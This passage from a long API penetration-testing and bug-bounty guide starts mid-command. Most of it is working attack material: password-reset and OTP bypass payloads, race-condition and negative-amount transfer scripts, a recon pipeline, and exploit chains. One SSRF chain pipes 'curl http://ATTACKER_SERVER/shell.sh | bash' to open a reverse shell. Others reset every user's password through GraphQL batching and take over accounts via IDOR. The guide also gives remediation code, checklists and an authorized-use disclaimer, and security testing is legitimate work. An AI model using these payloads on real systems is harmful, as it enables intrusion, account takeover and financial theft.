  -d '{"email":"victim@test.com"}'

curl -X PUT https://api.target.com/v1/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@test.com"}'

# Technique 3: Parameter pollution
curl -s "https://api.target.com/v1/forgot-password?email=test@test.com&email=admin@admin.com"

# Technique 4: Content-Type switching
curl -X POST https://api.target.com/v1/forgot-password \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=victim@test.com"

curl -X POST https://api.target.com/v1/forgot-password \
  -H "Content-Type: text/plain" \
  -d '{"email":"victim@test.com"}'

curl -X POST https://api.target.com/v1/forgot-password \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><email>victim@test.com</email></root>'

# Technique 5: Unicode/encoding bypass
curl -s "https://api.target.com/v1/forgot-password?email=victim%40test.com"
curl -s "https://api.target.com/v1/forgot-password?email=victim@test.com&email=victim%40test.com"

# Technique 6: Case normalization bypass
curl -s "https://api.target.com/V1/forgot-password"
curl -s "https://api.target.com/v1/Forgot-password"

# Technique 7: Add trailing slashes or dots
curl -s "https://api.target.com/v1/forgot-password/"
curl -s "https://api.target.com/v1/forgot-password.."
Enter fullscreen mode Exit fullscreen mode

6.2 Business Logic Flaws

Race Conditions / TOCTOU

#!/usr/bin/env python3
"""
Race condition testing — concurrent operations
"""
import requests
import threading
import time
from concurrent.futures import ThreadPoolExecutor

TOKEN = "YOUR_TOKEN_HERE"

def redeem_coupon():
    """Test race condition on coupon redemption"""
    r = requests.post(
        "https://api.target.com/v1/coupons/redeem",
        json={"code": "ONETIME50"},
        headers={"Authorization": f"Bearer {TOKEN}"}
    )
    print(f"Status: {r.status_code}, Response: {r.text[:100]}")

def transfer_money():
    """Test race condition on money transfer"""
    r = requests.post(
        "https://api.target.com/v1/transfer",
        json={"amount": 100, "to": "attacker_account"},
        headers={"Authorization": f"Bearer {TOKEN}"}
    )
    print(f"Status: {r.status_code}, Response: {r.text[:100]}")

def update_quantity():
    """Test race condition on product quantity"""
    r = requests.post(
        "https://api.target.com/v1/cart/checkout",
        headers={"Authorization": f"Bearer {TOKEN}"}
    )
    print(f"Status: {r.status_code}, Response: {r.text[:100]}")

# Fire 50 simultaneous requests
with ThreadPoolExecutor(max_workers=50) as executor:
    futures = [executor.submit(redeem_coupon) for _ in range(50)]
    for future in futures:
        future.result()
Enter fullscreen mode Exit fullscreen mode

Integer Overflow / Underflow

# Negative numbers — quantity manipulation
curl -X POST https://api.target.com/v1/cart/add \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"product_id": 1, "quantity": -100}'

# Large numbers causing overflow
curl -X POST https://api.target.com/v1/transfer \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"amount": 99999999999999999999, "to": "attacker"}'

curl -X POST https://api.target.com/v1/transfer \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"amount": -1, "to": "attacker"}'

# Float manipulation
curl -X POST https://api.target.com/v1/transfer \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"amount": 0.00000001, "to": "attacker"}'

# String concatenation in numeric fields
curl -X POST https://api.target.com/v1/transfer \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"amount": "1000000", "to": "attacker"}'
Enter fullscreen mode Exit fullscreen mode

OTP/Forgot Password Abuse

# Test if OTP is tied to session
curl -X POST https://api.target.com/v1/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"email": "victim@test.com"}'

# Try reusing the same OTP
curl -X POST https://api.target.com/v1/reset-password \
  -H "Content-Type: application/json" \
  -d '{"otp": "123456", "email": "victim@test.com", "new_password": "Hacked123!"}'

# Try OTP bypass via response manipulation
curl -X POST https://api.target.com/v1/reset-password \
  -H "Content-Type: application/json" \
  -d '{"otp": "*", "email": "victim@test.com", "new_password": "Hacked123!"}'

# Try OTP via race condition (guess before rate limit kicks in)
parallel -j 20 curl -X POST https://api.target.com/v1/reset-password \
  -H "Content-Type: application/json" \
  -d '"{\"otp\": \"{1}\", \"email\": \"victim@test.com\", \"new_password\": \"Hacked123!\"}"' ::: {100000..100020}
Enter fullscreen mode Exit fullscreen mode

Phase 7: Automation — Build Your API Recon Pipeline

#!/bin/bash
# api-recon-pipeline.sh — full automated API recon
# Usage: ./api-recon-pipeline.sh target.com

TARGET=$1
OUTDIR="api_recon_$TARGET"
mkdir -p $OUTDIR/{urls,subdomains,params,swagger,ffuf}

echo "[+] Starting API Recon Pipeline for $TARGET"
echo "[+] Time: $(date)"
echo ""

# === Phase 1: Passive URL Collection ===
echo "[*] Passive URL collection"
gau --subs $TARGET | sort -u > $OUTDIR/urls/gau_urls.txt
waybackurls $TARGET | sort -u > $OUTDIR/urls/wayback_urls.txt
waymore -i $TARGET -mode U -o U 2>/dev/null | sort -u > $OUTDIR/urls/waymore_urls.txt

# Combine all passive URLs
cat $OUTDIR/urls/*.txt | sort -u > $OUTDIR/urls/all_passive_urls.txt

# === Phase 2: Extract API Endpoints ===
echo "[*] Extracting API endpoints"
cat $OUTDIR/urls/all_passive_urls.txt | grep -iE \
  "api|rest|graphql|swagger|v[0-9]|\.json|\.xml|\.yaml|\.yml" \
  | sort -u > $OUTDIR/urls/api_endpoints.txt

echo "  Found $(wc -l < $OUTDIR/urls/api_endpoints.txt) potential API endpoints"

# === Phase 3: JavaScript Analysis ===
echo "[*] Extracting endpoints from JavaScript files"
cat $OUTDIR/urls/all_passive_urls.txt | grep -E "\.js$" | sort -u > $OUTDIR/urls/js_files.txt
while read -r js_url; do
  curl -s --connect-timeout 5 "$js_url" 2>/dev/null | \
    grep -oP '["'"'"']https?://[^"'"'"']*'"$TARGET"'[^"'"'"']*'" >> $OUTDIR/urls/js_endpoints_raw.txt
done < $OUTDIR/urls/js_files.txt
sort -u $OUTDIR/urls/js_endpoints_raw.txt -o $OUTDIR/urls/js_endpoints.txt

# === Phase 4: Subdomain Enumeration ===
echo "[*] Subdomain enumeration"
subfinder -d $TARGET -all -silent > $OUTDIR/subdomains/subfinder.txt
# Filter live
cat $OUTDIR/subdomains/subfinder.txt | httpx -silent -ports 80,443,8080,8443,3000,9090,5000,7000,8000 \
  > $OUTDIR/subdomains/live_subs.txt

# Filter API-related subdomains
grep -iE "api|gateway|backend|internal|admin|dev|staging|uat|sandbox|edge|cdn|test|beta|stage" \
  $OUTDIR/subdomains/live_subs.txt > $OUTDIR/subdomains/api_subs.txt

echo "  Found $(wc -l < $OUTDIR/subdomains/live_subs.txt) live subdomains"
echo "  Found $(wc -l < $OUTDIR/subdomains/api_subs.txt) API-related subdomains"

# === Phase 5: Swagger/OpenAPI Discovery ===
echo "[*] Swagger/OpenAPI discovery"
swagger_paths=(
  "/swagger.json" "/swagger.yaml" "/api-docs" "/openapi.json" "/openapi.yaml"
  "/v2/api-docs" "/v3/api-docs" "/swagger-resources" "/docs" "/redoc"
  "/api/swagger.json" "/api/v1/swagger.json" "/api/v2/swagger.json"
)
for sub in $(cat $OUTDIR/subdomains/api_subs.txt); do
  for path in "${swagger_paths[@]}"; do
    status=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 3 "$sub$path" 2>/dev/null)
    if [ "$status" = "200" ]; then
      echo "$sub$path" >> $OUTDIR/swagger/found_swagger.txt
      echo "  FOUND: $sub$path"
    fi
  done
done

# === Phase 6: Directory Fuzzing ===
echo "[*] Directory fuzzing on discovered endpoints"
ffuf -u https://api.$TARGET/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common-api-endpoints.txt \
  -mc all -fc 404 -fs 0 \
  -o $OUTDIR/ffuf/api_directories.json -of json -s 2>/dev/null

ffuf -u https://$TARGET/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common-api-endpoints.txt \
  -mc all -fc 404 -fs 0 \
  -o $OUTDIR/ffuf/root_directories.json -of json -s 2>/dev/null

# === Phase 7: Parameter Discovery ===
echo "[*] Parameter discovery"
arjun -i $OUTDIR/urls/api_endpoints.txt \
  -o $OUTDIR/params/arjun_params.json \
  --timeout 10 -q 2>/dev/null

# === Phase 8: Nuclei API Scanning ===
echo "[*] Running nuclei API scans"
nuclei -l $OUTDIR/subdomains/live_subs.txt \
  -t ~/nuclei-templates/http/exposed-panels/ \
  -t ~/nuclei-templates/misconfiguration/ \
  -o $OUTDIR/nuclei_results.txt -silent 2>/dev/null

nuclei -l $OUTDIR/subdomains/api_subs.txt \
  -t ~/nuclei-templates/http/exposures/ \
  -o $OUTDIR/nuclei_api_results.txt -silent 2>/dev/null

# === Summary ===
echo ""
echo "[+] Recon Complete!"
echo "[+] Output directory: $OUTDIR/"
echo ""
echo "  Passive URLs:     $(wc -l < $OUTDIR/urls/all_passive_urls.txt)"
echo "  API Endpoints:    $(wc -l < $OUTDIR/urls/api_endpoints.txt)"
echo "  Live Subdomains:  $(wc -l < $OUTDIR/subdomains/live_subs.txt)"
echo "  API Subdomains:   $(wc -l < $OUTDIR/subdomains/api_subs.txt)"
echo "  Swagger Found:    $(wc -l < $OUTDIR/swagger/found_swagger.txt 2>/dev/null || echo 0)"
echo ""
echo "[+] Next steps:"
echo "  1. Review $OUTDIR/urls/api_endpoints.txt for hidden endpoints"
echo "  2. Test Swagger docs at $OUTDIR/swagger/found_swagger.txt"
echo "  3. Check $OUTDIR/params/arjun_params.json for hidden parameters"
echo "  4. Run auth bypass tests against discovered endpoints"
echo "  5. Run injection tests (SQLi, NoSQLi, Cmd injection, SSRF)"
Enter fullscreen mode Exit fullscreen mode

Phase 8: Exploit Chaining — From Recon to Critical Finding

Chain Example 1: Blind SSRF → Internal Service Discovery → RCE

# Step 1: Find an endpoint that fetches URLs
# Avatar upload/profile image endpoint
curl -s "https://api.target.com/v1/profile/avatar?url=http://example.com/test.jpg"

# Step 2: Test for SSRF
curl -s "https://api.target.com/v1/profile/avatar?url=http://127.0.0.1:8080/"
# Response contains internal HTML → SSRF confirmed

# Step 3: Port scan internal network via SSRF
for port in 80 443 3000 5000 6379 8080 8443 9200 27017 22 21 3306 5432 8000 9000 9090; do
  status=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 3 \
    "https://api.target.com/v1/profile/avatar?url=http://127.0.0.1:$port/")
  echo "Port $port: $status"
done

# Step 4: Discover internal admin panel
curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/"
# Returns internal admin panel HTML

# Step 5: Explore admin panel functionality
curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy"
# Found deployment endpoint

# Step 6: Exploit for RCE
curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy?cmd=ls"
# Command execution confirmed

curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy?cmd=curl+http://ATTACKER_SERVER/shell.sh+|+bash"
# Reverse shell established → Full internal network access
Enter fullscreen mode Exit fullscreen mode

Chain Example 2: IDOR → Mass Assignment → Account Takeover

# Step 1: Discover user profile endpoint with ID
curl -s "https://api.target.com/v1/users/me" -H "Authorization: Bearer $TOKEN"
# {"id": 1337, "name": "Victim", "email": "victim@test.com", "role": "user"}

# Step 2: Test IDOR — try other user IDs
curl -s "https://api.target.com/v1/users/1" -H "Authorization: Bearer $TOKEN"
# {"id": 1, "name": "Admin", "email": "admin@test.com", "role": "admin"}
# IDOR confirmed — can access any user's data

# Step 3: Try mass assignment on PUT endpoint
curl -X PUT "https://api.target.com/v1/users/1" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"role": "user"}'  # Try demoting admin

# Step 4: If direct role change doesn't work, try extra fields
curl -X PUT "https://api.target.com/v1/users/1" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"email": "attacker@test.com"}'

# Step 5: Change admin email → trigger password reset
curl -X POST "https://api.target.com/v1/forgot-password" \
  -H "Content-Type: application/json" \
  -d '{"email": "attacker@test.com"}'

# Step 6: Reset admin password → full admin account takeover
Enter fullscreen mode Exit fullscreen mode

Chain Example 3: GraphQL Introspection → Batching → Data Exfiltration

# Step 1: Introspect GraphQL schema
inql -t https://api.target.com/graphql -d
# Found hidden mutation: "resetUserPassword(userId: ID!, newPassword: String!)"

# Step 2: Try batching to bypass rate limits
curl -s https://api.target.com/graphql \
  -X POST \
  -H "Content-Type: application/json" \
  -d '[
    {"query": "mutation { resetUserPassword(userId: 1, newPassword: \"Hacked123!\") { success } }"},
    {"query": "mutation { resetUserPassword(userId: 2, newPassword: \"Hacked123!\") { success } }"},
    {"query": "mutation { resetUserPassword(userId: 3, newPassword: \"Hacked123!\") { success } }"}
  ]'

# Step 3: Enumerate user IDs and reset all
for user_id in $(seq 1 100); do
  echo "{\"query\": \"mutation { resetUserPassword(userId: $user_id, newPassword: \\\"Hacked123!\\\") { success } }\"}"
done > batch_reset.json

curl -s https://api.target.com/graphql \
  -X POST \
  -H "Content-Type: application/json" \
  -d "$(cat batch_reset.json)"
Enter fullscreen mode Exit fullscreen mode

Reporting & Documentation Template

# Vulnerability: [Title]

**Severity:** Critical / High / Medium / Low  
**CVSS Score:** X.X (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
**Endpoint:** `POST /api/v1/users/forgot-password`  
**Category:** [OWASP API#]  
**CWE:** [CWE-ID]  
**Date Discovered:** YYYY-MM-DD  
Enter fullscreen mode Exit fullscreen mode

Description

[Clear, concise description of the vulnerability and its business impact]

Example:
The /api/v1/users/{id} endpoint lacks proper authorization checks, allowing any authenticated user to access the profile data of any other user by simply changing the id parameter. This exposes sensitive personally identifiable information (PII) including email addresses, phone numbers, and billing details of all platform users.


Steps to Reproduce

  1. Authenticate as a low-privilege user and obtain a valid JWT token:
   curl -X POST https://api.target.com/auth/login \
     -H "Content-Type: application/json" \
     -d '{"username": "attacker@test.com", "password": "Password123!"}'
Enter fullscreen mode Exit fullscreen mode
  1. Attempt to access another user's profile by modifying the user ID:
   curl -s https://api.target.com/v1/users/1 \
     -H "Authorization: Bearer $LOW_PRIV_TOKEN"
Enter fullscreen mode Exit fullscreen mode
  1. Observe that admin user data is returned without authorization.

  2. Enumerate all users to confirm mass data exposure:

   for id in $(seq 1 1000); do
     curl -s "https://api.target.com/v1/users/$id" \
       -H "Authorization: Bearer $TOKEN" | jq -r '.email // empty'
   done
Enter fullscreen mode Exit fullscreen mode

Proof of Concept

Minimal Reproduction

#!/bin/bash
# IDOR PoC — extracts all user emails
TOKEN="eyJhbGciOiJIUzI1NiIs..."  # Low-privilege user token
BASE="https://api.target.com"

echo "[+] Enumerating users via IDOR..."
for id in $(seq 1 10); do
  response=$(curl -s "$BASE/v1/users/$id" -H "Authorization: Bearer $TOKEN")
  email=$(echo "$response" | jq -r '.email // "N/A"')
  role=$(echo "$response" | jq -r '.role // "N/A"')
  echo "User $id: $email (Role: $role)"
done
Enter fullscreen mode Exit fullscreen mode

Sample Output

[+] Enumerating users via IDOR...
User 1: admin@target.com (Role: admin)
User 2: user1@target.com (Role: user)
User 3: user2@target.com (Role: user)
User 4: vip@target.com (Role: premium)
User 5: support@target.com (Role: support)
Enter fullscreen mode Exit fullscreen mode

HTTP Request/Response

Request:

GET /v1/users/1 HTTP/1.1
Host: api.target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Accept: application/json
Enter fullscreen mode Exit fullscreen mode

Response:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 1,
  "email": "admin@target.com",
  "name": "Admin User",
  "role": "admin",
  "phone": "+1-555-0123",
  "address": "123 Admin St, San Francisco, CA",
  "payment_method": "visa_****_4242",
  "billing_history": ["Invoice #INV-001", "Invoice #INV-002"]
}
Enter fullscreen mode Exit fullscreen mode

Impact

[What can an attacker actually achieve? Be specific about data exposure, financial loss, reputational damage, etc.]

Data Exposure:

  • Full PII (names, emails, phone numbers, addresses) of all 100,000+ platform users
  • Payment method metadata (card type, last 4 digits, expiry)
  • Internal user role assignments revealing admin accounts

Account Takeover Vector:

  • The exposed email addresses can be used with the /api/v1/auth/forgot-password endpoint to initiate password resets
  • Combined with the OTP rate-limit bypass (see Finding #2), an attacker can achieve mass account takeover

CVSS 3.1 Calculation:

  • AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NScore: 8.1 (High)
  • Confidentiality: High — full PII database exposed
  • Integrity: High — can modify victim profiles (PUT endpoint also lacks auth)
  • Availability: None

Remediation

Immediate Fix (1-2 days)

# Implement proper ownership checks on all object-level endpoints
@app.route('/api/v1/users/<user_id>', methods=['GET'])
def get_user(user_id):
    current_user = get_jwt_identity()
    # Verify the requesting user owns this resource OR has admin role
    if current_user['id'] != int(user_id) and 'admin' not in current_user['roles']:
        return jsonify({"error": "Unauthorized"}), 403
    user = User.query.get(user_id)
    return jsonify(user.to_dict())
Enter fullscreen mode Exit fullscreen mode

Short-term Fix (1 week)

  1. Implement proper RBAC — define roles (user, moderator, admin, superadmin) with explicit permission matrices
  2. Use UUIDs instead of sequential integers for object references (prevents enumeration but does not fix the underlying auth issue — defense in depth)
  3. Add rate limiting on all sensitive GET endpoints to slow enumeration attempts

Long-term Fix (1 month)

  1. Adopt OWASP API Security best practices — implement a centralized authorization layer (e.g., OPA, Casbin, or custom middleware)
  2. Regular automated API security scanning in CI/CD pipeline using tools like:
    • nuclei with custom API templates
    • mitmproxy2swagger + ddosify for contract testing
    • OWASP ZAP API scans
  3. Penetration testing — schedule quarterly API-specific pentests

References


Burp Suite Professional — Macro-Based Re-testing

<!-- Import into Burp as Session Handling Rule -->
<macro>
  <macroItem>
    <request>
      <url>https://api.target.com/v1/users/1</url>
      <headers>
        <header>Authorization: Bearer $TOKEN$</header>
      </headers>
    </request>
    <check>response.code != 403</check>
  </macroItem>
</macro>
Enter fullscreen mode Exit fullscreen mode

OWASP API Security Top 10 (2023) Quick Reference

API# Category What to Test Common Bounty Range
API1:2023 Broken Object Level Authorization IDOR on any object reference (users, orders, invoices) $500-$5,000
API2:2023 Broken Authentication JWT bypass, weak rate limits, password reset abuse $1,000-$10,000
API3:2023 Broken Object Property Level Mapping Mass assignment, extra fields in JSON payloads $500-$3,000
API4:2023 Unrestricted Resource Consumption DoS via deep pagination, batch queries, large payloads $250-$2,000
API5:2023 Broken Function Level Authorization Vertical privilege escalation (user→admin) $1,000-$8,000
API6:2023 Unrestricted Access to Sensitive Business Flows Automated abuse (coupons, votes, raffles, signups) $500-$5,000
API7:2023 Server Side Request Forgery URL fetching endpoints, file uploads, webhooks $1,000-$15,000
API8:2023 Security Misconfiguration CORS, error handling, default creds, verbose errors $250-$2,000
API9:2023 Improper Inventory Management Old API versions, staging/dev endpoints, debug routes $250-$1,500
API10:2023 Unsafe Consumption of APIs API-to-API trust issues, lack of input validation on downstream $500-$4,000

Essential Tools Cheatsheet

Tool Purpose Install Command
gau Passive URL collection (Wayback, AlienVault, CommonCrawl) go install github.com/lc/gau/v2/cmd/gau@latest
httpx HTTP probing — probe for live hosts go install github.com/projectdiscovery/httpx/cmd/httpx@latest
ffuf Directory / parameter / VHost fuzzing go install github.com/ffuf/ffuf@latest
arjun Hidden parameter discovery pip install arjun
inql GraphQL analysis (Burp extension + standalone) BApp Store or pip install inql
graphw00f GraphQL fingerprinting git clone https://github.com/dolevf/graphw00f
jwt_tool JWT manipulation, cracking, scanning pip install pyjwt + git clone https://github.com/ticarpi/jwt_tool
jwt-cracker JWT secret brute-force pip install pyjwt
waymore Wayback Machine scraper (more data than gau) pip install waymore
subfinder Passive subdomain discovery go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
nuclei Template-based vulnerability scanning go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
amass OSINT + brute-force subdomain enumeration go install github.com/OWASP/Amass/v4/.../amass@master
clairvoyance GraphQL introspection bypass pip install clairvoyance
graphqlmap Interactive GraphQL exploitation git clone https://github.com/swisskyrepo/GraphQLmap
linkfinder Extract endpoints from JavaScript git clone https://github.com/GerbenJavado/LinkFinder
x8 Hidden parameter fuzzer (better than Arjun for some cases) git clone https://github.com/Sh1Yo/x8
mitmproxy2swagger Convert captured traffic to OpenAPI spec pip install mitmproxy2swagger
ddosify Load testing and rate-limit testing go install github.com/ddosify/ddosify@latest
jsubfinder JavaScript subdomain discovery go install github.com/ThreatUnkown/jsubfinder@latest

Additional Attack Checklists

Checklist: API Authentication Testing

  • [ ] Test with no auth header
  • [ ] Test with empty auth header
  • [ ] Test with null auth header
  • [ ] Test with arbitrary token
  • [ ] Test JWT algorithm confusion (RS256→HS256)
  • [ ] Test JWT "none" algorithm
  • [ ] Test JWT JWK injection
  • [ ] Test JWT kid injection (path traversal, SQLi)
  • [ ] Test JWT expired token acceptance
  • [ ] Test JWT claim modification (role escalation)
  • [ ] Test API key in URL parameters
  • [ ] Test API key in request body
  • [ ] Test API key in headers (X-API-Key, X-Token, etc.)
  • [ ] Test rate limit bypass via IP spoofing headers
  • [ ] Test rate limit bypass via HTTP method alternation
  • [ ] Test rate limit bypass via parameter pollution

Checklist: Authorization Testing

  • [ ] Test IDOR on user IDs (sequential enumeration)
  • [ ] Test IDOR on UUIDs (if pattern predictable)
  • [ ] Test IDOR on invoices, orders, tickets, messages
  • [ ] Test mass IDOR via parameter pollution (?id=1&id=2)
  • [ ] Test mass IDOR via array parameters (?id[]=1&id[]=2)
  • [ ] Test BFLA — horizontal (same-role user accessing other users' data)
  • [ ] Test BFLA — vertical (low-priv user accessing admin endpoints)
  • [ ] Test mass assignment on POST/PUT/PATCH endpoints
  • [ ] Test hidden parameters that affect permissions

Checklist: Injection Testing

  • [ ] Test SQLi in GET parameters
  • [ ] Test SQLi in POST JSON body
  • [ ] Test SQLi in headers
  • [ ] Test NoSQLi in JSON body ($ne, $regex, $gt, $where)
  • [ ] Test command injection in parameters
  • [ ] Test command injection in file upload filenames
  • [ ] Test blind command injection with OOB (Collaborator)
  • [ ] Test SSRF on URL-fetching endpoints
  • [ ] Test SSRF on file upload/avatar/profile endpoints
  • [ ] Test SSRF to cloud metadata endpoints (AWS/GCP/Azure/Alibaba)
  • [ ] Test SSRF to internal services
  • [ ] Test XXE in XML-based API endpoints

Checklist: Business Logic Testing

  • [ ] Test race conditions (coupon redemption, money transfer, checkout)
  • [ ] Test integer overflow/underflow (negative quantities, huge amounts)
  • [ ] Test OTP bypass (wildcards, reuse, session decoupling)
  • [ ] Test price manipulation in cart/checkout
  • [ ] Test coupon/ promo code abuse (stacking, reusing, race condition)
  • [ ] Test pagination abuse to access hidden data
  • [ ] Test sort/filter injection (sorting by unexposed fields)

Checklist: GraphQL-Specific Testing

  • [ ] Test introspection (standard query)
  • [ ] Test introspection bypass (different content-type, GET request)
  • [ ] Test batching to bypass rate limits
  • [ ] Test deeply nested queries for DoS
  • [ ] Test field duplication for resource exhaustion
  • [ ] Test alias abuse (thousands of aliases in one query)
  • [ ] Test argument injection (SQLi, NoSQLi within GraphQL args)
  • [ ] Test authorization — can User A query User B's data?
  • [ ] Test mutations — can unauthenticated user call mutations?
  • [ ] Test directive-based auth bypass (@skip, @include)

Final Methodology — The API Pentest Flowchart

                     ┌─────────────────────┐
                     │  Define Scope &     │
                     │  Get Authorization  │
                     └─────────┬───────────┘
                               │
                     ┌─────────▼───────────┐
                     │ Phase 1: Recon      │
                     │  - Passive (gau,     │
                     │    wayback, crt.sh)  │
                     │  - Active (ffuf,     │
                     │    subfinder)        │
                     └─────────┬───────────┘
                               │
                     ┌─────────▼───────────┐
                     │ Phase 2: Fingerprint │
                     │  - Identify API type │
                     │  - Find Swagger/docs │
                     │  - Extract endpoints │
                     └─────────┬───────────┘
                               │
               ┌───────────────┼───────────────┐
               │               │               │
     ┌─────────▼────────┐ ┌───▼──────┐ ┌──────▼─────────┐
     │ Phase 3: Auth    │ │Phase 4:  │ │ Phase 5:       │
     │ & AuthZ Testing  │ │Injection │ │ Business Logic │
     │ - JWT manipulation│ │ - SQLi   │ │ - Race cond.   │
     │ - IDOR/BOLA      │ │ - NoSQLi │ │ - Mass assign  │
     │ - BFLA           │ │ - SSRF   │ │ - OTP bypass   │
     │ - Mass assign    │ │ - Cmd inj│ │ - Pricing bugs │
     └─────────┬────────┘ └───┬──────┘ └──────┬─────────┘
               │               │               │
               └───────────────┼───────────────┘
                               │
                     ┌─────────▼───────────┐
                     │ Phase 6: Exploit    │
                     │ Chaining            │
                     │ - Combine findings  │
                     │ - Escalate impact   │
                     │ - Demonstrate RCE   │
                     └─────────┬───────────┘
                               │
                     ┌─────────▼───────────┐
                     │ Phase 7: Report     │
                     │ - Write findings    │
                     │ - Provide PoC       │
                     │ - Recommend fixes   │
                     │ - Retest fixes      │
                     └─────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Key Principles to Remember

  1. Every undocumented endpoint is a potential bypass. The endpoints not in the Swagger docs are the ones most likely to lack proper auth.

  2. If it's not in the documentation, test it harder. Hidden endpoints, old API versions (v1, v2), debug endpoints, and staging subdomains are goldmines.

  3. Authentication bypass on one endpoint means trying it on every endpoint. If you find a JWT "none" algorithm works on /v1/users, it will likely work on /v1/admin/users too.

  4. Business logic > technical complexity for the highest bounties. Race conditions on financial transactions, coupon stacking, and OTP bypasses often pay more than straightforward SQLi.

  5. Chain everything. A low-severity IDOR + a medium-severity rate-limit bypass = critical account takeover. Never report findings in isolation — always ask "what can I combine this with?"

  6. APIs don't have visual feedback. Unlike web apps where you can see if a button appeared, API testing requires careful analysis of response differences — status codes, response body length, timing differences, and error messages all matter.

  7. Test in this order: Recon → Auth → AuthZ → Injection → Business Logic. Don't jump to SQLi before you've mapped the full endpoint surface and tested for auth bypasses.

  8. Stay organized. Use Burp Collections, Postman environments, or just organized curl scripts. The tester who can reproduce a finding reliably wins over the one who found it by accident.


Happy hunting. Stay authorized, stay methodical, and dig deeper than everyone else.


This guide is for authorized penetration testing and bug bounty hunting only. All techniques should be performed against targets you have explicit written permission to test. Unauthorized testing is illegal under the CFAA and similar laws worldwide.

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

CyberSecurity #BugBounty #APISecurity #EthicalHacking #WebSecurity #InfoSec #BugBountyHunter #OWASP #PenTesting #APIHacking

Top comments (0)